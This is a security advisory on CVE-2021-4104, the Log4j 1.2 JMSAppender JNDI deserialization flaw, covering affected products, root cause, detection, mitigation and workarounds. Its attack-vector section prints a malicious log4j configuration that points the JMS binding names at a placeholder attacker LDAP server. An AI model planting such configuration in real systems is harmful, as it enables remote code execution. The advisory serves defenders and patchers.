CVE-2021-4104: Apache Log4j 1.2 JMSAppender RCE Flaw

CVE-2021-4104 Overview

CVE-2021-4104 is a high-severity insecure deserialization vulnerability affecting the JMSAppender component in Apache Log4j 1.2. When an attacker has write access to the Log4j configuration, they can exploit this vulnerability by providing malicious TopicBindingName and TopicConnectionFactoryBindingName configurations. This causes JMSAppender to perform JNDI requests that can result in remote code execution, similar to the exploitation mechanism used in the more widely publicized CVE-2021-44228 (Log4Shell).

This vulnerability specifically affects Log4j 1.2 installations that are explicitly configured to use JMSAppender, which is not enabled by default. Given that Apache Log4j 1.2 reached end of life in August 2015, organizations still running this legacy version face significant risk and should prioritize migration to Log4j 2.

Critical Impact
Successful exploitation allows remote code execution through JNDI injection when attackers gain write access to Log4j configuration, potentially leading to complete system compromise across enterprise Java applications.

Affected Products

Apache Log4j 1.2
Red Hat JBoss Enterprise Application Platform 6.0.0 and 7.0
Red Hat OpenShift Container Platform 4.6, 4.7, and 4.8
Red Hat Enterprise Linux 6.0, 7.0, and 8.0
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0
Oracle Business Intelligence (multiple versions)
Oracle MySQL Enterprise Monitor
Oracle GoldenGate
Fedora 35

Discovery Timeline

2021-12-14 - CVE-2021-4104 published to NVD
2024-11-21 - Last updated in NVD database

Technical Details for CVE-2021-4104

Vulnerability Analysis

The vulnerability resides in the JMSAppender class within Log4j 1.2, which is responsible for publishing log events to a JMS (Java Message Service) Topic. The core issue stems from improper handling of configuration parameters that are used to perform JNDI (Java Naming and Directory Interface) lookups.

When JMSAppender is configured, it accepts two critical parameters: TopicBindingName and TopicConnectionFactoryBindingName. These parameters specify JNDI names that the appender uses to locate JMS resources. If an attacker can modify the Log4j configuration file, they can set these parameters to point to attacker-controlled JNDI endpoints.

Upon application restart or configuration reload, JMSAppender performs JNDI lookups using the attacker-supplied values. This can lead to deserialization of untrusted data from a malicious LDAP, RMI, or CORBA server, ultimately resulting in arbitrary code execution on the vulnerable system.

The exploitation requires a specific precondition: the attacker must have write access to the Log4j configuration. This typically occurs through complementary vulnerabilities such as arbitrary file write, configuration injection, or compromised administrative credentials.

Root Cause

The root cause is insecure deserialization (CWE-502) in the JMSAppender component. The appender blindly trusts JNDI names provided in the configuration without validating that they reference legitimate, trusted resources. When these JNDI lookups are resolved, Java's serialization mechanism deserializes objects from potentially untrusted sources, allowing attackers to execute arbitrary code through gadget chains present in the application's classpath.

Attack Vector

The attack exploits JNDI injection through configuration manipulation. An attacker with write access to the Log4j configuration can modify the JMSAppender settings to reference a malicious JNDI endpoint. When the application processes this configuration, it performs an outbound JNDI lookup to the attacker's server, which responds with a serialized Java object containing malicious code. The vulnerable application deserializes this object, triggering code execution in the context of the Java application.

The attack flow involves: gaining write access to Log4j configuration, inserting malicious JNDI URLs into JMSAppender parameters, triggering a configuration reload or application restart, and receiving the callback on an attacker-controlled server that delivers a malicious serialized payload.

// Conceptual attack flow for CVE-2021-4104
// Note: Exploitation requires write access to Log4j configuration

// Malicious log4j.properties configuration:
// log4j.appender.jms=org.apache.log4j.net.JMSAppender
// log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://attacker.com:1389/Exploit
// log4j.appender.jms.TopicBindingName=ldap://attacker.com:1389/Exploit

// When JMSAppender initializes, it performs JNDI lookup:
// InitialContext.lookup("ldap://attacker.com:1389/Exploit")
// This retrieves and deserializes a malicious Java object from the attacker's server

Detection Methods for CVE-2021-4104

Indicators of Compromise

Unexpected modifications to Log4j configuration files (log4j.properties, log4j.xml)
Presence of external LDAP, RMI, or CORBA URLs in Log4j configuration parameters
Outbound network connections to unusual ports (commonly 1389 for LDAP exploitation)
Java process spawning unexpected child processes or reverse shells
Presence of JMSAppender configuration in applications that do not require JMS functionality

Detection Strategies

Implement file integrity monitoring on all Log4j configuration files to detect unauthorized modifications
Deploy network monitoring to detect outbound JNDI lookup attempts (LDAP on port 389/1389, RMI on port 1099)
Scan application deployments for the presence of Log4j 1.x JAR files using software composition analysis tools
Review application configurations for JMSAppender usage and validate the legitimacy of configured JNDI endpoints

Monitoring Recommendations

Enable verbose logging for Java applications to capture JNDI lookup operations
Configure SIEM rules to alert on log4j configuration file changes and suspicious JNDI connection patterns
Implement network egress filtering and monitor for connections to non-whitelisted LDAP/RMI servers
Deploy endpoint detection and response (EDR) solutions to monitor Java process behavior and detect post-exploitation activities

How to Mitigate CVE-2021-4104

Immediate Actions Required

Audit all applications for the presence of Log4j 1.x and identify any JMSAppender usage
Upgrade from Log4j 1.x to Log4j 2.x (version 2.17.1 or later recommended) to address this and numerous other vulnerabilities
If immediate upgrade is not possible, remove the JMSAppender class from the Log4j JAR file
Restrict write access to Log4j configuration files using appropriate filesystem permissions
Implement network egress filtering to block outbound JNDI connections to untrusted destinations

Patch Information

Apache Log4j 1.2 reached end of life in August 2015 and will not receive security patches for this vulnerability. The recommended remediation is to upgrade to Apache Log4j 2.17.1 or later, which addresses CVE-2021-4104 along with numerous other security issues present in the 1.x branch.

Vendor-specific patches are available from Red Hat, Oracle, and other affected vendors. Consult the Red Hat CVE-2021-4104 Advisory and the Oracle January 2022 Security Alert for product-specific guidance.

Workarounds

Remove the JMSAppender class from the Log4j JAR file by deleting org/apache/log4j/net/JMSAppender.class
Ensure Log4j configuration files have restrictive permissions preventing unauthorized write access
Configure Java system properties to disable JNDI lookups: -Dcom.sun.jndi.ldap.object.trustURLCodebase=false and -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
Implement application-level firewalls to block outbound LDAP and RMI connections
If using a vulnerability scanner or RASP solution, enable runtime protection against JNDI injection attacks

bash

# Remove JMSAppender class from Log4j 1.x JAR as a workaround
# WARNING: This modifies the JAR file - test thoroughly before deploying to production

# Navigate to your application's lib directory
cd /path/to/application/lib

# Remove the JMSAppender class from the JAR
zip -q -d log4j-1.2.*.jar org/apache/log4j/net/JMSAppender.class

# Verify the class was removed
unzip -l log4j-1.2.*.jar | grep JMSAppender

# Restart the application to apply changes
systemctl restart your-application